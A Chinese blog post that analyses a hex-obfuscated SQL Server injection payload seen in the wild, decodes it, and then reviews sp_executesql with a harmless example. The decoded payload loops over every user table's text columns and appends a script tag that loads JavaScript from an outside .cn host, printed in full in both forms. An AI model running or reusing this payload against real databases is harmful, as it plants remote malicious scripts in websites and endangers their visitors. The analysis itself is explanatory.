今天在博客园上看到的一处SQL注入的新方式 ,先看一下注入的SQL语句
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--
大致看上去就是定义了一个 SQL字符串变量,然后使用EXEC 来动态执行这个SQL字符串,但这个字符串是什么意思呢,一堆十六进制代码表示的是啥呢
在查询分析器里,把exec 改为 print ,@S变量的内容会现出原形,实际的内容是
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name From Sysobjects A,Syscolumns B
Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
Deallocate Table_Cursor
就是遍历整个表,然后把为字符串的字段加上指定的URL
趁这机会把 sp_executesql又复习了一遍,这个系统存储过程也可以执行动态的SQL语句,功能强大,可支持输出参数,和接收返回值参数
比如现在有一个存储过程是 pinfun 用于计算一个数的平方并且使用输出参数返回结果,为了能体验sp_executesql也能接收返回值,我在pinfun的结尾硬加入一行 return 23; 用于接收返回值
declare @a as int
declare @b as int
set @b=4
exec sp_executesql N'exec @r=pinFang @num=@i output' , N'@i int output,@r int output ' , @i=@b output ,@r=@a output
print @a
print @b